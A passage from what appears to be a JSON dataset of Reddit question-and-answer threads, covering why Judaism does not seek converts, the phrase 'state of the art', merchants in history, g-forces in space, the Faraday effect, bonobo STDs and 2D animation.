connected to each other, but in a different way. They belong to other countries, obey rules of those countries, but still obey their old country's rules within their communities. They won't try to \"spread\" their old nationality, because they never did, and now there is one more reason not to - they have no country.\n\nWhat I'm trying to say is, Judaism is not a regular religion, it's a nation, and the default state of a nation is \"not missionary\".\n\nChristianity and Islam are just new-to-the-world religions that needed to be spread. Those are teachings, and teachings need to be taught. Of course, it is rooted in the religions themselves, but only because their essences, their origins, are so different. The better question is - why do they try to convert people? because the jews not trying is a much natural state.", "I think the generalization is too broad. Lots of christian religions avoid proselytizing. Catholics. Unitarians. Etc. ", "I'm not an expert on this but from what I've come to understand about Judaism (I'm Jewish) versus Christianity and Islam and other monotheistic faiths and why we don't convert people is because being Jewish isn't just a religion - it's also a culture.  You can't become Jewish just because you believe in the Judaic faith.  In Christianity if you believe in Christ then you are christian.  My understand of Islam is also that anyone can become Islamic and I think Muslimism is the same way.\n\nThe point is that you can convert people to a religion but not to a culture or heritage, so what's the point?  Moreover, we make up 2% of the worlds population and historically speaking everyone hates us.  Why in the world would you want to be jewish in the first place?  Seems sketchy to me.", "Judaism is a religion that keeps to itself. They don't want converts, if you want to convert you can, but no one forces you. Although, its much harder to get out of Judaism. My friend from Israel would complain about how the orthodox Jews would throw rocks at Jewish businesses open on saturdays, and would harass Jews they thought weren't Jewish enough. When I asked her if they tried to close down all businesses open on saturday, she said no, just the ones owned by Jews. I'm not saying all orthodox Jews are like this, but certainly there were some like this living in Israel.\n\nWhat I got from that is Judaism is more concerned with keeping Jews jews, as opposed to converting more jews. ", "They're doing a pretty good job of converting me with their soft power.\n\nI'm mostly joking, but on the other hand there seem to be a fairly large number of Judaistic threads popping up on reddit and I'm consistently impressed at just how straight forward and, at least generally, nondefensive they are when it comes to topics relating to their religion. And this on the internet, no less. I've little interest in engaging in religion though I do enjoy educating myself on the topic and I can't count the number of patronizing *\"I'll be praying for you.\"* parting shots given by individuals who see a questioning of their religion as some sort of personal attack on them. The irony of the religion which makes no effort to proselytize being more effective at it, without doing anything directly, than those actively engaging in it is just delicious.", "What I would like to add tho the answers in this thread, is one reason that has not been mentioned yet: when conversion is encouraged, and made easy, there is a high chance of assimilation and blending. This results in conservative Judaism to quickly change into something it is not.  \nOne motivation to convert others to your religion, is to preserve your religion - by quantity of practising people. This goal would not be accomplished by introducing many non-Jews to the religion, on the contrary. Rather, Jews try to focus on conserving Judaism by discouraging intermarriage. ", "\"I don't respect people who don't proselytize, I don't respect that at all.\n\n\"If you believe that there is a Heaven and a Hell, and people could be going to Hell ... and you think it's not really worth telling them this because it would make it socially awkward, ... how much do you have to hate somebody to not proselytize?\n\n\"How much do you have to hate somebody to believe that everlasting life is possible and not tell them that? I mean, if I believed beyond a shadow of a doubt that a truck was coming at you and you didn't believe it, ... there's a certain point where I tackle you, and [everlasting life] is more important than that.\"\n\n-Penn Jillette, atheist", "Orthodox Jew here. It basically comes down to keeping the religion sacred. If people just started converting for the hell of it, it'd become a mess, for those who would call themselves Jewish really wouldn't be. Converting to Judaism for this reason is a long process that wards off many people who, say, are converting for marriage.", "There are two types of religions, universalized (Christianity, Buddhism, and Islam) and ethnic (smaller religions that are mostly by area. Ex Hinduism in India is mostly in India and not much anywhere else) \n\nJudaism is mostly concentrated in the Middle East however here and there there are some that are in other areas. The only way to become one is to be born one. To convert to one (according to my professor) it's very very very hard and a really really really long process. \n\nTL;DR: Judism is a ethnic religion which doesn't seek to convert others. You have to be born one and if you try to convert it would take a really really long time. It's also concentrated in the Middle East but can be found in other countries (but not many). ", "It reminds me of a parable my tai chi instructor told me:\n\nLong ago in ancient China, a rich nobleman's son wanted to learn Shaolin kung fu. With great pomp and ceremony, he left his home and went to the temple. He met with the head monk, who agreed to let him study kung fu at the temple.\nThe rich man shaved his head and donned the robes and was led to a room containing a well and a barrel of water. The monk told him to slap the surface of the water with his palm until no water remained in the barrel.\nThe rich man didn't understand, but did as he was told. He slapped the water with his palm and a little water splashed onto the floor. He repeated the slapping for what seemed like hours until no water remained. He found the monk and told him he had finished. The monk instructed him to fill the barrel again and repeat the task.\nThis scene repeated for days. Eventually, the rich son stopped going to the monk and just refilled the barrel without being told.\nHe grew angry. He suspected he was the butt of a cruel joke, and that the monks would never teach him kung fu but he knew that if he returned to his family having only slapped water he would be a laughingstock.\nEventually, the seasons changed and the rich son returned home for the holiday feast. His family was so proud of him for studying kung fu, even though he was secretly ashamed that he had not received even one day's instruction.\n\"What kung fu did you learn? What did they teach you?\" his family asked, eagerly. \"They didn't teach me anything,\" he mumbled.\n\"Oh, you are so modest, tell us what they taught you!\" they urged.\nThe man grew enraged. \"They didn't teach me anything!\" he shouted, as he slammed his palm on the table, breaking it in half.\n", "Because while Christianity and Islam are 'Universal religions' (they believe their teachings apply universally), Judaism is an 'Ethnic religion', practised only within the Jewish ethnicity. Like how Greek, Roman or Norse mythology were only practised by Greeks, Romans and Norse.", "One of the central aspects of Judaism is that you don't choose God. God chose you. Jews believe that they are chosen by God among all the people of the earth to be his people. He gave these people and only these people his law. They serve him and he protects them and blesses him. It doesn't make sense to go around telling everybody else about it. Them being unique and separate is what makes their religion matter to them. May be one reason why Jews have historically been persecuted.", "Jew here, let me shed some insight. Christianity and Islam have a definitive Idea about being saved and the existence of heaven and hell. Jews don't really have a set concept. In fact we're not really focused on doing good things to get into heaven like the others but rather because it's considered the right thing to do. We're taught to treat others with respect because any Jew who's studied history understands that at many times we were looked down upon Egypt, Black Plague, Nazi Germany...  One could view trying to convert people as a form oppression simply because you want someone to view your way of thinking as the right way. In our view of the afterlife it is believed for there to be punishment for sinners but it lasts for a max of 12 months and then they ascend to the world beyond. It's a much nicer view than you act like a human, you burn in hell fire forever. Jews want people to live in the here and now. Do things because it's right not because you want to get into paradise. Doing something for the sake of getting into paradise makes you more selfish than others in my point of view. It means to me that you don't care about the plight of others. You just care about saving your own skin. Here's a reference for afterlife views if you're interested. \n\n_URL_0_", "Maybe I could shed some light on the issue being raised in Israel to Jewish parents (even though i consider myself agnostic).\n\nJudaism has never spread by force. In the bible it says that the descendents of Abraham (the guy with whom God made the pact) immigrated to Egypt because of famine, then they grew to the 12 tribes of Israel, and then were led by moses, conquered the holy land and settled there.\n\nFrom the beginning the religion was more of an ethnicity than a religion, and the Israelis being located in a very small strip of land always between great empires (egypt from the south and babylon from the north), they didn't have the will nor the power to expand, much less to extend the religion's area of influence.\n\nThen came the \"Galoot\" the destruction of the kingdom of Israel and the spread of the jewish people throughout the world. In this point in time, the Jewish people again didn't have the will nor power to spread the religion, it was kept by tradition, father to son.\n\nThe idea of spreading your religion comes, if I'm not mistaken, from the greek culture that was spread by the kingdom of Alexander the Great, and the romans then absorbed this idea to their culture (like many others), Christianity spread the way it did mostly because of Roman influence and culture. And as for Islam, it is a religion that have originated as more of a political system, with Muhammad being a conqueror and a leader as well as a prophet, so everywhere he went he spread his religion with it, and so did his successors.\n\nBy the way, contrary to what a lot of people here have stated, yes, you can convert to Judaism, but it's not a simple procedure (at least not in the more conservative circles, and the ones authorized by the state of Israel) it's called \"Giyur\" you have to get circumcised and you need to pass a test of knowledge of the bible, if I'm not mistaken you also need to learn to read and write in hebrew. And I'm sure there are more stuff to it that I don't even know.  \nIt's so complicated because here in Israel there's a law that every Jew around the world is entitled for Israeli citizenship, and the state would like to keep the process of conversion (or at least conversion that is acceptable by the state of Israel) hard to minimize the potential of exploits in the system which will allow illegal immigration.", "One thing might be that they see themselves as a race rather than religion. Very few ways of being Jewish, either birth only from a Jewish mother or if you convert, you're going to be denied a few good times and when you convert you're expected to take classes and go through a while process before being considered Jewish.", "One survival mode for any community (of faith, nationality etc.) is to work hard to become a huge but inevitably in-cohesive collective that is too big to eliminate. Christianity and Islam took that path.\nA different survival mode is to try to sustain a small but cohesive community. Judaism took that path.", "The religion isn't structured for conquest. Coming from someone who's Jewish by identity and isn't really qualified to refer to religious texts, I'd say Jewish people tend to focus on strengthening foundations, rather than spreading thin. I think the religion as well as a millennium of prejudice has shaped us as such.", "We have decided to lock this thread, as most of the new comments are limited to jokes, non-explanations and hateful thoughts, as well as the fact that proper explanations have already been given. This submission is giving way to many religion-based debates, which is against our rules. Such debates should be held at /r/askreddit, /r/changemyview or simply reddit's PM system.\n\n\nDon't forget that if you have any concerns, you can feel free to reach us at our modmail.\n\n\nBest regards.", "lol. This thread isn't actually locked. GG guys."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.myjewishlearning.com/ask_the_expert/at/Ask_the_Expert_Proselytism.shtml"], ["http://www.myjewishlearning.com/beliefs/Theology/Afterlife_and_Messiah/Life_After_Death/Heaven_and_Hell.shtml"], [], [], ["outsiders.In"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.jewfaq.org/whoisjew.htm"], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], [], ["http://www.jewfaq.org/olamhaba.htm"], [], [], [], [], [], []]}
{"q_id": "2iafho", "title": "where does the saying \"state of the art\" come from?", "selftext": "After years of almost never using the saying, it hit me that, that combination of words makes no damned sense. So why do these four words put together mean up to date, or modern?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2iafho/eli5_where_does_the_saying_state_of_the_art_come/", "answers": {"a_id": ["cl0bn3p"], "score": [31], "text": ["\"State\" in this usage just means current status. \n\"Art\" in this usage just means field or specific area.\n\n\"State of the art\" is just a way to identify the most recent development in fields which are constantly evolving. \n\n\"What is the state of the union?\" \"The union is strong.\"\n\"Get a degree so you can master the art of video game design.\"\n\n\"Hey, what is the current state of video game design?\" \"Oh, just check out VIDEOGAMEEXTREMMEEMEMMME 7.4, shit is state of the art. Every other video game wishes it was as well designed.\"\n\n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "212jlg", "title": "At what point did merchants go from an undesirable yet tolerated part of Western society to a dominating aspect?", "selftext": "I'll admit that this is mostly speculation based on mere exposure to historical sources, but it seems like merchants were a somewhat tolerated if generally disliked and unfavored aspect of medieval Western society, and have grown to the point where we mostly have a capitalistic 'merchant' society.  I was wondering what the focal points for this change might have been.  ", "document": "", "subreddit": "AskHistorians", "url": "http://www.reddit.com/r/AskHistorians/comments/212jlg/at_what_point_did_merchants_go_from_an/", "answers": {"a_id": ["cg9auh8"], "score": [3], "text": ["I can't provide historical sources whether merchants are actually disliked or not in pre-modern era, but as for *why* they might be disliked, I'd refer to the work in which Barrington Moore is famous for: *Social Origins of Dictatorship and Democracy*.\n\nHis main argument basically goes by: middle-class (which consisted of merchants) threatened the structure of medieval economy.\n\nFrom trading goods, merchants were able to accumulate profit and circulate money. They didn't have to work under the serfs like the peasants did; they were, in some way and another, \"detached\" from the bound that binded the ordinary with their lords. They were able to gain wealth relatively faster than the peasants. Also, to put it in cultural terms, they were the class which was able to replicate the culture of the aristocratic elites. In many societies working under the medieval structure of economy, it was the merchants who simulated and copied the leisure time activities and arts enjoyed by the elites (e.g. specific ornate from vases, or paintings). Not a Western society, but this was particularly true in Ottoman Turkish (not mentioned by Moore, but I noticed a similar pattern): when the elites enjoy *muqamat*, or certain artsy sculpture such as vases from far-away kingdoms, it was the merchants who would get an imitation of it. Easily said, merchants had the material and cultural advantage. \n\nThus, the development of the merchant class, according to Moore, would lead to the weakening of landed aristocracy and leaning more to the commercial agriculture. This of course would pose a threat for medieval landlords as not only their powers was in peril, but the merchants could also pose a danger to their \"pride\" as the cultural elites. Again, not a Western society, but this example was absolutely true for the Japanese samurai landlords (again, not mentioned in Moore's book): the merchant class got too rich to the exent that the richest had their houses more decorated in luxuries than your average samurai bureaucracy workers. This made the shogun had to ban their public display of luxury as it caused jealousy.\n\nFinally, it is the merchants who gives the biggest contribution to industrialization.\n\nMoore's thesis ends with two possible outcomes in this development of merchant class: first, democracy, as observed in England, USA, and France, if the middle-class managed to develop a strong, independent class which completely severed the old feudal tie (as stated by his own words:  \"No bourgeoisie, no democracy\"). Second, fascism/communism, as observed in Japan and China, if the old aristocracy (or the peasants, as with case of China) managed to form an alliance with the new *nouveau riches* before the aristocracy was completely destroyed."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[]]}
{"q_id": "3qao6f", "title": "Would someone flying a fighter in space feel the same type of \"g-forces\" pulling complex maneuvers that a fighter pilot here on earth feels?", "selftext": "Assuming you took a small space fighter (think X-wing or Tie fighter) and placed it in a vacuum sufficiently far away from any major planetary body to the point where the gravitational force is 0: would they feel g-forces? Correct me if I'm wrong, but my understanding is that the g-force is really the normal force of the earth acting counter to the force of gravity so if there were no gravitational force then you wouldn't feel any g forces.", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/3qao6f/would_someone_flying_a_fighter_in_space_feel_the/", "answers": {"a_id": ["cwdj50s", "cwdj7nc", "cwdjg2l", "cwdji9o"], "score": [2, 40, 8, 19], "text": ["Of course he does.\nImagine if you where flying with high speed, and suddenly fly upwards. You would be pushed into your fighter, because your body wants to fly straigt on, but the fighter is moving upwards.\n\nYour body basically \"crashes\" into the floor of your fighter.", "Yes, they'd feel it. The math for acceleration is the exact same math as gravity.\n\nTo wit: if you were in deep space and accelerated 9.8m/s and stepped on a scale, your weight would be the same, you could only jump as high as you can now.\n\nGravity and acceleration are indistinguishable.", "Absolutely they would.  If they were travelling at high velocity and made a sharp turn, they would feel very similar forces to that of a fighter pilot on earth.\n\nGravity has nothing to do it, this is Newton's First Law.  When you are travelling in a plane (or a car, for that matter), your body and the plane are in the same state of motion.  When the plane changes direction, it pushes your body along with it, dragging you along into the same path as the plane.  The more drastic the change in direction, the harder it pushes - this is measured in G's, with one G being equal to the force of gravity.\n\n", "[g-force is not a force, but a measure of acceleration](_URL_0_). \n\nOn earth there is simply a permanent acceleration of 9.8m/s^2 downwards the high g-forces that jet pilots are suspect to come from the acceleration of the aircraft itself. \n\nIf you fly a craft in space and accelerate with 9.8m/s^2 'upwards', it would simply feel like standing on earth. Accelerate faster and you get 'heavier'. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], [], [], ["https://en.wikipedia.org/wiki/G-force#Acceleration_and_forces"]]}
{"q_id": "2ltbh3", "title": "why is there no records or mention in the public narrative in the united states of the descendents of george washington, abraham lincoln, etc.?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/2ltbh3/eli5_why_is_there_no_records_or_mention_in_the/", "answers": {"a_id": ["clxyjo1", "clxykop", "clxyp9q", "clxyqxt", "cly1bo2", "cly1isd", "cly3aph"], "score": [79, 11, 29, 2, 2, 8, 2], "text": ["It's funny you should mention Washington and Lincoln because Washington never had any children and [Lincoln's direct line is extinct.](_URL_0_)", "Abe Lincoln has no confirmed direct descendents, the last known relative [died in 1985](_URL_0_).\n\nSince most of Lincoln's kids died young, there were never very many direct descendents.\n\nWashington had no known children, instead raising his wife's children from a previous marriage.", "[Abraham Lincoln](_URL_0_) had three great-grandchildren, all of whom died childless between 1971-1985.\n\nGeorge Washington never had biological children, and may have been sterile.", "There probably are people who can say that about random famous people from that era but it's not very meaningful or interesting after a few generations. The record keeping from back then is iffy so some people descending from someone that old wouldn't know their ancestry and others would have a hard time proving the records were legitimate.", "Sure, but that's many generations back, and at that point most people don't know or care. My mom, just for fun, managed to trace back our family heritage to Joseph Reed, a member of the Continental Congress, Signatory of the Articles of Confederation, the Governor of Pennsylvania for the second half of the Revolutionary war. \n\nDoes that make me special? Hell no. If we assume each of his five children had an average of two children, and so on every 25 years since his early death in 1784, then I have 10240 12th cousins who also share him as a great-great-great-great-great-great-great-great-great-great-grandfather. ", "We don't pass down governing authority and power through family lineage, so that's why we don't care. ", "I'm the sixth great grandson of Andrew Jackson if family lore is to be believed. It's supposedly well documented, but I haven't seen anything about it other than my great grandmothers obituary that mentions she's the great granddaughter (or 2nd great...whatever) of him. "]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://en.wikipedia.org/wiki/Lincoln_family_tree"], ["http://en.wikipedia.org/wiki/Robert_Todd_Lincoln_Beckwith"], ["http://en.wikipedia.org/wiki/Lincoln_family_tree"], [], [], [], []]}
{"q_id": "65rbls", "title": "why do many different animals all have white bellies?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "https://www.reddit.com/r/explainlikeimfive/comments/65rbls/eli5_why_do_many_different_animals_all_have_white/", "answers": {"a_id": ["dgckjvk", "dgckw3o"], "score": [24, 8], "text": ["It is primarily a form of defense from predators. A larger animal looking down on a smaller one would see the dark color of the preys back which would help camouflage it with the ground or whatever is underneath. A predator looking up at the white/ light colored underbelly would see it blending in with the sky.\n\nEg: think of the black and white of killer whales. Dark to hide it against the ocean floor from the top. White to hide it against the the sky from the bottom.", "Animals with a light coloured belly and dark coloured top have a type of coloration called countershading. It is thought to be advantageous. The dark coloration is camouflaging for the animal when viewed from above (usually blending in with the ground/foliage), while the light belly is camouflaging when viewed from below (usually blending into the sky)."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], []]}
{"q_id": "26imij", "title": "What properties of Glass can change light to be manipulated by magnetism? (Refer: Faraday's light experiment; COSMOS)", "selftext": "COSMOS is a big hit, and watching it is vastly entertaining, even though It's all things that I've heard before(Or at least that's what I thought). However the show goes along in one of its episodes concerning Micheal Faraday's experiments with magnetism. This situation comes to light(no pun intended) \n\n\"Becoming desperate he tried his glass brick that was a souvenir of when Faraday worked for Davey. It worked!!\"\n\nRefer to COSMOS: A Space Time Odyssey (2014):Time stamp: 22:55(overview) 24:50(specific), but link here: _URL_0_\n\n\nSo as the story goes, Faraday picks up a glass brick, and passes polarized light thought it, while the light is in a magnetic field. This twists the light waves into a different orientation(polarity?). This attempt worked, despite the usage of a vast amount of other transparent and translucent materials.\n\nSo I want ask, what's special about glass to cause this to happen? And What exactly is happening?\n\nCOSMOS didn't explain this with any detail, but it was the most curious event to be talked about in the episode and I'm interested in knowing more.", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/26imij/what_properties_of_glass_can_change_light_to_be/", "answers": {"a_id": ["chrgg3e", "chri9df", "chrijbs", "chrvs5o"], "score": [17, 2, 3, 2], "text": ["The property of the material used in the Faraday effect is something called *birefringence*. You might be familiar with the property of bulk material called the index of refraction, it is a number that describes how the wavelength (speed) of light changes inside a medium as well as what the name suggests: how much light refracts passing between two different media. \n\n\nIt turns out that materials can have a *polarization dependent* index of refraction that we call birefringence. What this means is that an electric field that is polarized one way sees a slightly different index of refraction than an electric field that is polarized in a different direction. Many materials have this property because of their internal structure but the difference tends to be really small. However even in materials that do not have this static birefringence in the presence of a magnetic field all materials will exhibit some (tiny) birefringence.\n\nFor the Faraday effect we use this birefringence. In the presence of a magnetic field the glass exhibits a polarization dependent index of refraction. Now an electric field passing through the material will see a different index of refraction for different components of its polarization.  Because the index of refraction tells us how fast light travels inside a medium the net effect is that a component of the electric field can lag behind a different component of the electric field. This lag is what causes the rotation as the electric field passes through the material. \n\n\n\nEDIT: spatial dependent --- >  polarization dependent ", "I'd just like to elaborate on ubermalark's answer:\n\nFaraday rotation is slightly different than \"usual\" birefringence.  In normal birefringence, different linear polarizations experience a different index of refraction. This isn't surprising for something like a crystal, where you certain bonds between atoms have a specific direction in space.\n\nIn Faraday rotation, you get different indices of refraction for different circular polarizations, which is why Faraday rotation is sometimes called \"circular birefringence\".\n\nAs to what makes it happen, it's definitely the stuff in the glass and its interaction with the magnetic field.  The irony is that with a decent-quality modern glass (BK7, ferinstance), Faraday probably would have never seen this effect, as with their high purity they exhibit about the same amount of Faraday rotation as water does (_URL_0_). But Faraday's sample was probably chock-full of paramagnetic impurities, which made the effect much bigger.\n\nThese days, if you want to build a device with the Faraday effect, you'd probably use something like a terbium gallium garnet crystal, which exhibits a much stronger effect than glass.", "We have dedicated COSMOS threads each week after each episode. [This one is the one you're looking for](_URL_0_).", "So, the other responses described birefringence which is the macroscopic property of the material that is being manipulated by the magnetic field applied in Faraday's measurement. But, none of the responses have addressed what is happening on the atomic level that leads to birefringence.\n\nI'll try to explain what is actually happening, though it is particularly complicated and I will not be able to give you a complete description.\n\nSo, to start I am going to limit this discussion specifically to rare-earth ions that are dopants in a crystal. This is because when a crystal is doped with a rare-earth the dopant tends not to covalently bond with the surrounding atoms in the crystal, which would complicate this discussion. So, because of this we can sort of think of the rare-earth ion as being \"isolated\" from the crystal (this isn't true but we need to make this simplification).\n\nSo, when the electric field of the light encounters this dopant ion it acts to displace the electrons of the atom (the magnetic field of the light also interacts with the ion but the strength of that interaction is so small that we can ignore it).\n\nNow, the ion's electrons will be in an \"orbit\" with some shape given by the wavefunction of the electron. For ions with spherically symmetric wavefunctions, when the light interacts with the atom it will be just as difficult to warp the wavefunction along one direction as any other direction. So, there will be no birefringence. A spherically symmetric wavefunction will just \"slow\" the light down, and equally for all polarization orientations.\n\nBut, let's say the wavefunction is not spherically symmetric. So, the wavefunction is now distorted so the electrons are less likely to be in some places and more likely in others. In this case when the polarization of the light is oriented along the directions with lower electron probability it will be \"easier\" to distort the wavefunction. When the polarization is oriented along the directions where the electron is more likely to be, it is more \"difficult\" to distort the wavefunction. So in effect the light is slowed more in one case than the other. This is birefringence.\n\nNow, what causes the wavefunction to be non-spherically symmetric. There are quite a few things that will do it in general, which is why most materials are birefringent (even slightly, there are a lot of things that will obfuscate this point, so for anyone reading this that knows a lot about this subject I'm going to point out that I am purposefully avoiding a discussion of macroscopic stastical effects and glasses and a whole other bunch of things that will affect the amount of measured birefringence). One thing that can do this is an applied magnetic field. Now, an applied magnetic field won't affect any arbitrary type of atom. But, due to the electronic structure of rare-earth ions, the distortion caused by a magnetic field is particularly noticeable.\n\nSo, I've used a lot of quotes in the above discussion. This is because I am using those words to grossly simplify certain quantum phenomena. To truly understand what is going on, you're going to have to study quantum mechanics.\n\n**TL;DR The light travels at different speeds when the electric field of the light encounters a material whose constituents have non-spherically symmetric wavefunctions. Applying a magnetic field to a material is capable of causing this kind of symmetry breaking, which is what gives rise to the Faraday Effect.**"]}, "title_urls": [], "selftext_urls": ["http://www.cosmosontv.com/watch/250569283639"], "answers_urls": [[], ["http://physics.gmu.edu/~ellswort/p407/Experiments/faraday/acfaraday.pdf"], ["http://www.reddit.com/r/askscience/comments/25bl8d/askscience_cosmos_qa_thread_episode_10_the/"], []]}
{"q_id": "4ah2cl", "title": "If gravitational paths such as orbits are conic sections, what is the cone?", "selftext": "I'm curious as to why a gravitationally determined trajectory, or any trajectory influenced by an inverse square law force, follows conic sections. How can I understand this?\n\nBouncing off of that question, is there any known relation between Dandelin spheres and Kepler's first law?", "document": "", "subreddit": "askscience", "url": "https://www.reddit.com/r/askscience/comments/4ah2cl/if_gravitational_paths_such_as_orbits_are_conic/", "answers": {"a_id": ["d10e9b0"], "score": [7], "text": ["Conic sections are special because no matter where you are on the orbit, certain relationships and distances between you and the foci (or directrix) remain constant. This is precisely the behavior required for angular momentum to be preserved which makes sense as angular momentum by definition tells you about the relationship between a point on the orbit and the relevant focus.\n\n >  is there any known relation between Dandelin spheres and Kepler's first law?\n\nYes! The foci will be on the shared tangent plane of two spheres both flush with the cone. As you can see in this picture,  \n\n* _URL_0_  \n\nThe point P in the image will then maintain the same combined distance to both foci\u2014which is the definition of the ellipse.\n\nGreg Egan's website goes over all the gory details of this here,  \n_URL_1_  \n"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["https://upload.wikimedia.org/wikipedia/commons/2/21/Dandelin1.png", "http://www.gregegan.net/SCIENCE/ConicSectionOrbits/ConicSectionOrbits.html"]]}
{"q_id": "1xcgrs", "title": "Do bonobos have sexually-transmitted diseases? How are they able to be highly promiscuous without medical consequences?", "selftext": "Humans suffer from a number of unpleasant and even lethal sexually-transmitted diseases like syphilis and AIDS.  How is it that bonobos can be so universally promiscuous without suffering mass epidemics (epizootics) of analogous diseases?", "document": "", "subreddit": "askscience", "url": "http://www.reddit.com/r/askscience/comments/1xcgrs/do_bonobos_have_sexuallytransmitted_diseases_how/", "answers": {"a_id": ["cfa55tq", "cfa58zo", "cfahcv0", "cfans6j"], "score": [7, 29, 4, 2], "text": ["Not really about monkeys, but lions have their own version of AIDS, but its rarely kills them. _URL_0_\n\nI think you have to look at it as a fast deadly STD would kill off a whole population, and the STD with it. Some populations are isolated from others, so it wouldn't kill off the whole species. So basically the slow one keeps getting passed on. ", "Whilst Bonobos are promiscous they still live in relatively contigous social groupings compared to Humans. That is, we live in colonies of millions and tens of millions and with substantial and continous connections to other colonies of tens of millions. Most small social groupings will have either all the same diseases or non of them, transmission rates between groups being low. Compared that is to humans.", "Of course bonobos have sexually transmitted diseases. Females bononbos also leave their parent group and emigrate to another after reaching sexual maturity. Selective pressures only count up to breeding age. If the disease doesn't keep individuals from reproducing, even if it eventually kills them, then it won't be selected against. Primates, especially apes are susceptible to many of the same diseases we are. ", "Not an expert but I\u2019ve indulged in some power googling this afternoon. Unfortunately it seems the research is understandably flooded with [SIV](_URL_5_) and [SFV](_URL_2_) studies making it a bit difficult to find anything else but here\u2019s what I\u2019ve found in any case.\n\n\nI\u2019m unable to find any mention anywhere of deadly STDs affecting bonobos. As noted by others here deadly STDs are rare in humans as well so their absence in bonobos is no huge surprise. \n\n\nInterestingly there is some speculation that the specific immune marker molecules(MHC) found in all chimpanzees(including bonobos) suggest that there was a major viral outbreak before bonobos separated from other chimps. Some think that this outbreak was SIV or an SIV-like illness. Standing on the outside it seems like this is controversial but I know literally nothing about the internal wranglings of the apeologist community. [here is a short summary](_URL_3_) and [Ctrl-F paniscus on this article for a short critique of this](_URL_1_)\n\n\nThere seems to have been a theory that reactive arthritis in seen in bonobos and other chimps was due to an STD but this now seems to be unlikely(due to bonobos getting laid a lot more and not getting the disease any more often than other chimps). Although not entirely debunked it now seems the arthritis is more likely due to a gastrointestinal infection.[see here for abstract](_URL_0_)\n\n\nFinally [wikipedia says](_URL_4_) that papillomavirus does occur in bonobos. This is the virus that is often sexually transmitted in humans and can lead to genital warts and cervical cancer. I wasn\u2019t able to find any evidence of sexual transmission in bonobos though :(.\n\n\nOther than this I did quickly scan some veterinary textbooks I have online access to and, although I did learn that macaques are riddled with herpes, I couldn\u2019t find anything else relevant to your question. \n\n\nMy guess is that there are two reasons for the dearth of information on the topic;\n\n1/ Any STDs that do exist are minor enough to not have dramatic impacts and are largely unnoticed(by us if not by the bonobos)\n\n2/ Outside of diseases that have relevance to human health(i.e. SIV) there is no real interest in or resources for the necessary research"]}, "title_urls": [], "selftext_urls": [], "answers_urls": [["http://www.britannica.com/blogs/2008/02/lions-are-getting-aids/"], [], [], ["http://www.researchgate.net/publication/7728335_Etiology_of_reactive_arthritis_in_Pan_paniscus_P._troglodytes_troglodytes_and_P._troglodytes_schweinfurthii", "http://jvi.asm.org/content/79/7/3891", "https://en.wikipedia.org/wiki/Simian_foamy_virus", "http://www.thebody.com/content/art22271.html", "http://en.wikipedia.org/wiki/Papillomaviridae#Evolution", "https://en.wikipedia.org/wiki/Simian_immunodeficiency_virus"]]}
{"q_id": "3f38dy", "title": "why did clockwork watches stop working when the atomic bombs were dropped?", "selftext": "", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/3f38dy/eli5_why_did_clockwork_watches_stop_working_when/", "answers": {"a_id": ["ctkvddo", "ctl4deb"], "score": [2, 17], "text": ["Do you have any references or sources to this?  I've never heard of it nor can I find any mentions of it.", "Most likely explanation: a [balance staff](_URL_2_) pivot snapped from the shock.  These are the thinnest, most fragile pivots in the watch\u2014some are thinner than human hair\u2014and yet they carry the [balance wheel](_URL_1_), probably the second heaviest wheel in the watch.\n\nBroken staff pivots are one of the classic things that breaks often in a mechanical watch.  The most common cause is when a watch is dropped; the shockwave from an explosion could easily have a similar effect.  [Anti-shock systems](_URL_0_) were invented around the 1920s and 1930s to help with this, but I don't think they were in common use until the 1960s.\n\nOf course the shock could have broken something else; the staff is however the part that's most vulnerable to it, so if you had to make a bet you'd bet on that."]}, "title_urls": [], "selftext_urls": [], "answers_urls": [[], ["https://en.wikipedia.org/wiki/Shock_resistant_watch", "https://en.wikipedia.org/wiki/Balance_wheel", "http://elgintime.blogspot.com/2015/01/how-balance-staff-is-replaced.html"]]}
{"q_id": "28pwh3", "title": "why are 2d-animated movies so rare nowadays?", "selftext": "When we think of high budget 2D-animated movies nowadays, usually it's restricted to Japan, which still maintains this tradition. But in America, for example, we practically only see hand drawn animation on TV. I can see that 3D is easier to animate than a frame-by-frame 2D animation, but It's much more expensive and time-consuming (Pixar uses hundreds of powerful computers to render their animations, that take many hours to render a single frame). Also, there are artists and small companies that make fantastic 2D animations for Youtube with a decent public, so, why don't big companies do this as well?", "document": "", "subreddit": "explainlikeimfive", "url": "http://www.reddit.com/r/explainlikeimfive/comments/28pwh3/eli5_why_are_2danimated_movies_so_rare_nowadays/", "answers": {"a_id": ["cid9run", "cida32f", "cida5p2", "cidakob", "cidbukq", "cidbwrv", "cidcecl", "cidcg6t", "cidcl89"], "score": [10, 23, 7, 3, 68, 2, 3, 5, 3], "text": ["That's actually a good point, it's been ages since I remember a proper 2D-animated blockbuster at my movie theatre. Perhaps the technique just seems rather...dated? With the rise of new technology that's causing visuals to jump out the screen more.", "its the same reason that AAA game companies insist on spending millions on graphics when people can and are happy with 2D if the gameplay is good, \n\nindie game companies and indie animation studios *are* making 2D products with many happy customers, but the big game companies, just like the big animation studios insist on telling us 2D is dead and that there isnt a market, when there cleary is (not as large but none the less)", "As a 2D animator I have to agree, there just isn't a huge market for blockbuster 2D animations, they are very time consuming and labour heavy to make. However there are plenty of amazing short 2d films about that you should definitely check out", "3d will sell better ", "2D Television cartoon animator here. I've worked on several shows including Wander Over Yonder,  Kick Buttowski, Jake and the Neverland Pirates, etc.. Now, television animation is an entirely different beast than feature, of course. We have a lot more to do in a lot 